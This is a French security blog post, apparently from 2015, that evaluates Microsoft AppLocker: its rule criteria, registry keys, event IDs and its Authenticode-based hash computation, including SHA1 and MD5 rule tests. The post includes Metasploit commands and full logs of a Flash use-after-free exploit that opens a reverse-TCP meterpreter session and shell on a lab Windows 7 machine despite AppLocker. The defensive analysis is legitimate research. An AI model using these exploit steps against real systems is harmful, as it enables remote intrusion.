Voici la France vs le Brésil, et non on ne parle pas foot mais mise à jour de votre machine
Ou comment un faute de frappe peut affaiblir votre parc !
Et cela fonctionne depuis quelques jours, si vous voulez tester par vous même :
https://get.adobe.com/reader/?loc=br
https://get.adobe.com/reader/?loc=fr
Du coup, on peut légitimement se demander comment limiter la casse si nous avons une version de tel ou tel produit vulnérable sur un parc : ne serait-ce que pour un laps de temps très court (entre la sortie de la nouvelle version et son déploiement).
Dans cette course permanente entre les attaquants et les défenseurs, beaucoup parle d’Applocker comme une solution miracle : Alors mythe ou réalité ?
Tentons d’apporter quelques éléments de réponse :
Tout d’abord, AppLocker est la fonctionnalité de Microsoft qui permet de gérer la liste de exécutable sur une machine Windows (7 ou supérieur) ou sur un parc via une GPO.
Lorsque nous écrivons « gestion », il s’agit de la gestion de listes autorisant ou interdisant explicitement l’exécution de logiciels.
Cette gestion se fait selon l’un des trois critères suivants :
- Un chemin d’emplacement (ex: c:/windows/)
- Le condensat (par défaut SHA256) d’un fichier
- L’éditeur du logiciel via sa signature : On peut donc choisir d’autoriser tous les logiciels signées par Adobe ou seulement Adobe Flash : Cela permet même de gérer la version autorisée : autrement dit pour un binaire signé, nous pouvons choisir d’autoriser (interdire) uniquement la version 19.0.0.185 ou toutes les suivantes…
Vous l’aurez compris : ce dernier critère est donc à privilégier lorsque cela est possible.
Les règles AppLocker sont visibles via la console « secpol.msc » (où elles peuvent être exportés en XML) ou via les clés de registre :
\HKEY_LOCAL_Machine\Software\Policies\Microsoft\Windows\SrpV2
Notons ici le « SrpV2 » , V2 car Applocker est le successeur de « Software Restriction Policies« .
Il y a également un journal d’événement propre à ce service.
Nous y trouvons principalement deux types d’évènements (8002 : autorisation et 8004 : blocage). Lorsque l’action AppLocker concorde avec une règle explicite, l’identifiant de la règle est présent dans l’événement.
Applocker permet de la même façon de gérer les librairies, les scripts et les tuiles à partir de windows 8.1
Interpréteurs de code :
Cependant aussi génial que cela puisse paraitre, AppLocker n’est pas parfait.
Didier Stevens a montré que les premières montures pouvaient être abusées facilement.
De plus tous les logiciels qui se basent sur des applets et une machine virtuelle (ie : java), sont globalement insensibles à Applocker, une fois la machine virtuelle autorisée.
Plus concrètement : Prenons le cas d’Adobe Flash. Si Flash est autorisé sur notre machine et que malheureusement il n’est pas à jour (si si, ça peut arriver), un attaquant n’aura aucune difficulté pour exploiter la vulnérabilité et par exemple à ouvrir une session « meterpreter ».
Pour notre test, nous avons utilisé la version obsolète 18.0.0.160 de Flash et la charge metasploit suivante:
msf> use exploit/multi/browser/adobe_flash_opaque_background_uaf msf exploit(adobe_flash_opaque_background_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
Malgré un « applockage » du poste, nous arrivons à monter une session « meterpreter » avec la cible (un windows 7 SP1 Enterprise 32 bits) :
msf exploit(adobe_flash_opaque_background_uaf) > exploit [*] Exploit running as background job. [*] Started reverse handler on 10.10.10.12:4444 msf exploit(adobe_flash_opaque_background_uaf) > [*] Using URL: http://0.0.0.0:8080/cryptobourrin [*] Local IP: http://10.10.10.12:8080/cryptobourrin [*] Server started. [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Gathering target information. [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending HTML response. [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/ [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending HTML... [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/knGLdQ.swf [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending SWF... [*] Sending stage (885806 bytes) to 192.168.25.11 [*] Meterpreter session 1 opened (10.10.10.12:4444 -> 192.168.25.11:49182) at 2015-10-06 07:57:18 -0500 msf exploit(adobe_flash_opaque_background_uaf) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN-8C0Q4O00RCD\user meterpreter > shell Process 2900 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\user\Desktop>cd outils cd outils C:\Users\user\Desktop\Outils>putty.exe putty.exe This program is blocked by group policy. For more information, contact your system administrator. C:\Users\user\Desktop\Outils>exit exit meterpreter >
La règle de type Hash :
Autant les deux autres critères sont assez explicites, autant celui-ci peut porter à confusion. En effet, prenons l’exemple de putty.exe
putty.exe (v 0.63.0.0) md5sum :7a0dfc5353ff6de7de0208a29fa2ffc9 sha1sum :44ac2504a02af84ee142adaa3ea70b868185906f sha256sum :abcc2a2d828b1624459cf8c4d2ccdfdcde62c8d1ab51e438db200ab3c5c8cd17
Et que nous regardons la valeur du hash dans la règle par défaut :
<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"> <Conditions> <FileHashCondition> <FileHash Type="SHA256" Data="0xA58CC0D7A88656226CBC91C1A95E43CA971CD69C3FC004871078D2BB2CD20965" SourceFileName="putty.exe" SourceFileLength="495616" /> </FileHashCondition> </Conditions> </FileHashRule>
Le condensat calculé par AppLocker n’a rien à voir avec celui calculer par l’outils sha256sum de Linux. D’où provient cette différence ?
Lorsqu’il s’agit d’un executable, AppLocker ne calcule pas le hash de la même façon que pour un fichier plat. En effet, Applocker calcule ce que Microsoft appelle l’ « Authenticode Portable Executable Image Hash ». C’est notamment ce condensat qui est utilisé dans la signature de binaire (nous vous laissons lire ce document pour une explication concrète). Une fois qu’Applocker identifie l’entête du fichier comme un executable, il calcule le « PE image hash » et non plus un « vrai » hash.
Pour reproduire le code, nous avons utilisé un outils basé sur OpenSSL qui nous permet par ailleurs de choisir la fonction de hachage. Ainsi nous est venu l’idée de voir comment on pouvait jouer avec Microsoft et la fonction de hash :
Si nous forçons le type de hash à MD5 comme suit :
<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"> <Conditions> <FileHashCondition> <FileHash Type="MD5" Data="0x90C94DB8D9940BC56C98861AF6A04AE3" SourceFileName="putty.exe" SourceFileLength="495616" /> </FileHashCondition> </Conditions> </FileHashRule>
Nous obtiendrons l’erreur suivante :
Cependant, AppLocker est compatible avec SHA1, et la règle suivante est valide :
<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"> <Conditions> <FileHashCondition> <FileHash Type="SHA1" Data="0x23DD3A30F509734C43E0E494655B0473AB1DAA64" SourceFileName="putty.exe" SourceFileLength="495616" /> </FileHashCondition> </Conditions> </FileHashRule>
Bien qu’une règle de hash ne soit pas possible avec l’algorithme MD5, nous avons signé le binaire avec md5WithRSA et cette signature permet de faire une règle valide dans Applocker. Mais il faudra en amont déclaré l’AC émettrice de confiance sur le poste.
Enfin rappelons que la vulnérabilité XCodeGhost a mis à mal l’image du filtrage applicatif par liste blanche. AppLocker permet de faire du contrôle également sur les DLL, mais cela a un cout très fort sur les performances : en effet à chaque chargement de DLL dans un process : AppLocker doit vérifier si oui ou non la librairie est autorisée.
AppLocker est un outil pertinent qui permet de se protèger contre des menaces modérés. Nous le voyons aussi comme une bonne prévention contre la persistence de l’attaquant (aujourd’hui la plupart des attaques sont en (au moins) 2 temps bien distincts : on rentre puis on s’assure de garder la porte ouverte). Mais ce service ne peut (malheureusement) pas tout et doit être considéré comme un rempart de plus dans notre arsenal de défense : filtrage réseau, ségrégation des droits, bacs à sable, …
Mais si nous activons EMET 5.2 sur le poste, cela ne change rien à l’exécution de la charge par Internet Explorer.
Il est par ailleurs intéressant de voir que si nous rejouons le test Flash avec un client firefox (41.0.1), le meterpreter n’est pas capable d’ouvrir un shell sur le poste cible :
msf exploit(adobe_flash_opaque_background_uaf) > [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/ [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending HTML... [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/tUHL.swf [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending SWF... [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Gathering target information. [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending HTML response. [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/ [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending HTML... [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/INKz.swf [*] 192.168.25.11 adobe_flash_opaque_background_uaf - Sending SWF... [*] Sending stage (885806 bytes) to 192.168.25.11 [*] Meterpreter session 2 opened (10.10.10.12:4444 -> 192.168.25.11:49372) at 2015-10-06 08:10:50 -0500 msf exploit(adobe_flash_opaque_background_uaf) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: WIN-8C0Q4O00RCD\user meterpreter > shell [-] Failed to spawn shell with thread impersonation. Retrying without it. [-] stdapi_sys_process_execute: Operation failed: Access is denied. meterpreter >
Cryptobourrin 
Ping : Anodin Odin | Cryptobourrin